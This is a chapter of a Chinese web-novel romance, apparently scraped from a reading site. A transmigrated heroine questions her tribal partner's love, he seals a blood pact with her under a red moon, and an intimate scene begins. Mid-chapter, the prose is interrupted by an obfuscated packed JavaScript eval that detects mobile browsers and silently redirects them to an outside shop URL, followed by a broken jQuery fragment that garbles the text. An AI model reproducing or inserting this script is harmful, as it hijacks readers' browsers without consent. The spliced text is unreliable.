阮灵喉间干涩,她突然怯于面对做了这么多的尼格,她不明白尼格从什么时候认定她为伴侣,他喜欢的是她这个人吗?
是否换做其他穿越者,他也会爱上?
她不禁想起部落婶子所说的,或许尼格疼爱的是她这身皮肉,她这样的外形,在原世多了去了,若是将尼格丢进原世,想必能配比她更为优质的内外兼修的女性。
忽然之间,心绪变换,涌上许多念头。
她或许出现在这片大陆上,是特别的,可没来由的,有些难过。
果然,感情只能玩玩,认真就输了,还没开始就患得患失起来。
尼格不知她已脑补了许多,见她突然沉默,情绪低落,这番变化实在难以揣摩。
他弯腰将阮灵抱在围栏上坐着,后背轻轻靠在伸出的树干上,他双手扶在她腰间,平视后,更能看清她的面容。
“怎么了?”
阮灵看着尼格雕刻般的脸,忍不住问道:“尼格,你除了想和我贴贴,还想做别的吗?”
尼格沉吟,显然这个问题他需要好好回答,好一会儿,迟疑着摇了摇头。
他无时无刻不想...
然而下一秒,他看到阮灵眼含幽怨。
果然!男人脑子里就□□那点事儿!阮灵忿忿地想,他就是馋她身子,不是真的爱她的灵魂。
尼格浓眉蹙起,他回答错了?小伴侣平日里就受不住他的亲吻,显然是在埋怨他这一点,可他也不愿骗她...
他懊恼不已,看到她气鼓鼓的脸颊,又想亲她了。
“不可以,这么想?”他问。
阮灵撇了撇嘴,继续问:“你从见我的第一眼,就这么想了?”
自然是,从他见她的第一眼,就有着命定般的感觉,她的气味就对他有着致命的吸引力,他从未有过那样热血沸腾的感觉,仿佛沉寂千年的枯骨注入滚烫的鲜血。
她一日复一日鲜活地生长在他眼中,他对她的渴望只与日俱增,像一株野蛮生长的毒蔓,爬满占据了他的血肉。
除非将他化为灰烬,否则无法剥离。
他可以这样告诉她吗?
尼格谨慎地看着她,终于还是尊崇内心,缓缓点头。
果然!一切源于见色起意!阮灵冷笑。
又错了?尼格继续懊恼。
阮灵:“你爱的不是我。”
尼格:“?”
“生理性喜欢是基因选择,可是你的灵魂选择了我吗?你自己可清楚?也许现在出现一具和我差不多的身体,或是更美丽的,你也会喜欢她。”阮灵振振有词,说完自己深信不疑。
而尼格这次却是真的狠狠皱起眉头,他消化着她那些莫名的词语。
得出结论。
“你在怀疑我的忠诚?”
“...不算吧。”
人之常情罢了,她只是在假设。
“我不懂你说的,如果你怀疑我的灵魂,那正是我今晚想要与你契约的。”尼格说。
“契约?”
“你的家乡怎样建立伴侣契约?”尼格伸手拂去她被风吹至鼻尖的碎发。
阮灵索然道:“领个证,有了婚姻制度限制,主要体现在违反制度时,然后划分清算财产;举办一场给他人看的婚礼,许下虚妄的誓言,哦对了,再戴上象征已婚的婚戒,戴在这里,好像就能为对方戴上枷锁。”她伸出手,手指圈在另一只手的无名指上。
话落,她才惊觉,原来自己对于现代婚姻制度如此嘲讽,不免过于偏激。
这么久没上网,拳头还这么硬,罪过。
尼格垂眼,握住她的右手,指腹摩挲在她的无名指,低声自语:“枷锁。”
他突然抬眼盯着她,眸中平静如深海,“我需要用,那根骨针。”
阮灵从颈间拉出细绳,递给他。
她隐隐有些紧张,问:“你要做什么?”
“别怕。”
说完,他直直握着向自己左胸扎去!
“尼格!”
血液很快染红骨针,骨针几乎整根没入,他握绳将它拔出,零星血迹溅出,尼格面不改色,小孔血洞肉眼可见的慢慢的在愈合。
在阮灵惊吓的目光中,他握着阮灵的右手举起,猛扎自己都面不改色的尼格,此时却面露难色,对阮灵说:“会有些痛。”
他垂下头,落下一吻在阮灵指上,然后露出尖牙,飞快划过。
阮灵发懵地看着这一举措,几秒过后才惊觉手指上微有灼意,像是被蚂蚁咬了一下。
细白的无名指上,出现一道伤口,微微渗出血珠。
感官回笼,阮灵躲了下,想抽出手,却感觉到阻意,她抬眼看向尼格。
不知何时,他背后漆黑夜幕上,浅浅露出泛着淡红的朦胧月色,直洒在他肩,二人立于暗淡月色下的身影,投在平台的地面上,融成一团。
尼格眼底隐隐泛出幽冷蓝光,形容泛出一丝妖魅,他说:“已经,不能放开你了。”
他紧紧握住她的手。
阮灵心脏猛然一缩,就见他握着染血的骨针,刺向她的无名指,二者接触的一刹那,她震惊地看着骨针上的血极速褪去,分不清是她手上的伤口吸附了那血,还是他的血钻入了她的伤口。
那骨针似乎被一股能量撼动,尼格虚握之下,它竟自行晃颤着划动,仅一瞬间的事,再看,它已经干净地躺在尼格手中。
而阮灵无名指上浮现极细的一圈血色符文,如藤蔓环绕,她隐隐感觉一股热流涌入身体,后背肩胛处又开始灼热,这感觉似在神隐谷也出现过。
她忍不住嘤咛一声。
尼格以为她是受契印影响,他俯下身将额头抵近,圈在她腰上的手收紧轻轻安抚,原本握着她的右手撑开,与她掌心相抵。
血月浮现,月色妖异。
参天古木之上,宽阔高大的身躯前倾,笼罩着靠坐在围栏之上的娇小身影,极尽缱绻。
二人手掌相贴,血色符文缠绕在二人的无名指上,有比沙粒更细小的蓝色星光环绕浮动。
“月神之下,引血立契,我将灵魂与□□合一,献祭与你,我的伴侣。”
尼格的声音仿佛从遥远之地传来,他终于轻轻落下一吻,在阮灵唇间。
与此同时,树枝上悬挂的星虫似受到波动,一个个蓝色光团在同一时间砰然崩开,漫天星虫飞出,环绕于此。
似乎是为映衬二人手指上环绕的细碎星光,如银河陷落。
离此处不远的林中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105428|149127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狼人们立于树间,这点距离对他们的视线不造成阻碍。
莎利悬于枝干之上,双手环抱于胸前,眯着眼喃道:“他竟然立下血契。”
罗甘跃起,单臂勾住更上面的树杈,望着远处笑道:“那不是恰恰证明了,阮灵确是他的命定之人?”
“什么是血契?”巴卡问。
“生生世世追随,永恒的烙印。”
-
“怎么只有我的手上有?”阮灵举着手问尼格。
她的无名指上印上了一圈特别细的红色纹路,就像纹了圈戒指上去,可是,尼格的手上却没有!
尼格握住她的手,勾着唇格外满意地看着,情不自禁一下又一下地啄吻。
“你不解释一下?”
“...我也不知,第一次契约。”
“你都不清楚,就用在我身上??”阮灵惊道,“这不会是什么诅咒吧?”
尼格无奈,“我怎么会诅咒你。”
可是真的很不适应,她频频要去看手指。
是怎么发展成现在这样的?就因为她质疑了他一下,他就上头直接给她种下了契约?
不对,他方才好像说...今晚本就决定与她契约。
她看了看周遭四散的星虫,姑且算是他求婚的花样,所以现在他们是彻底绑定,并且戒指已经戴上了,摘不下来的那种。
阮灵挣扎着要下去,此时才感觉屁股坐痛了,尼格将她抱下,她撇开他往屋内走去。
可是...避子汤还没问啊!
她看着屋中那张床,不由的紧张起来。
回身就撞进尼格幽深的眸中,有什么不言而喻的东西在二人之间发酵。
“我们...不回部落吗?”
一旦接受契约这个设定,她现在看尼格,就觉得心脏咚咚要跳出喉咙,他身上的气息愈发浓郁,闻之发软。
眼前这个型男,是她的男人了?
头上顶着三百六十度环绕式发光大字——她的男人
“你不喜欢这里?”尼格低声问。
噢!老天!声音都性感无比!
阮灵狠狠闭了闭眼:“备水吧!”
...
水声沥沥。
阮灵躺在榻上,咬手。
到这关头了,她竟然连抬头看一眼的勇气都没有,尼格反倒稳如泰山,这澡洗了有多久了?
水声猝然停止。
阮灵随之一抖。
......
这就洗完了?
咬手手,吭哧吭哧...
人影晃动,她没出息地闭紧了眼,一阵凉意拂面,身侧贴上火热。
她被逼到里侧,退无可退。
他是狗吗?开动前还要嗅一嗅。
好像把自己骂了,淦...
“香吗?”阮灵睁开眼,幽幽地问。
尼格撑在她上方,一手已经横过,掌在她腰侧将盖毯压皱,他,什么也没穿。
尼格:“甜的。”
闻出滋味了?
吻开始落在脸侧,下颌。
或许他剥过洋葱吗?一层一层。
盖毯被掀到一旁,还未完全沾上体温的布衣被剥落,指腹触上白嫩的洋葱心。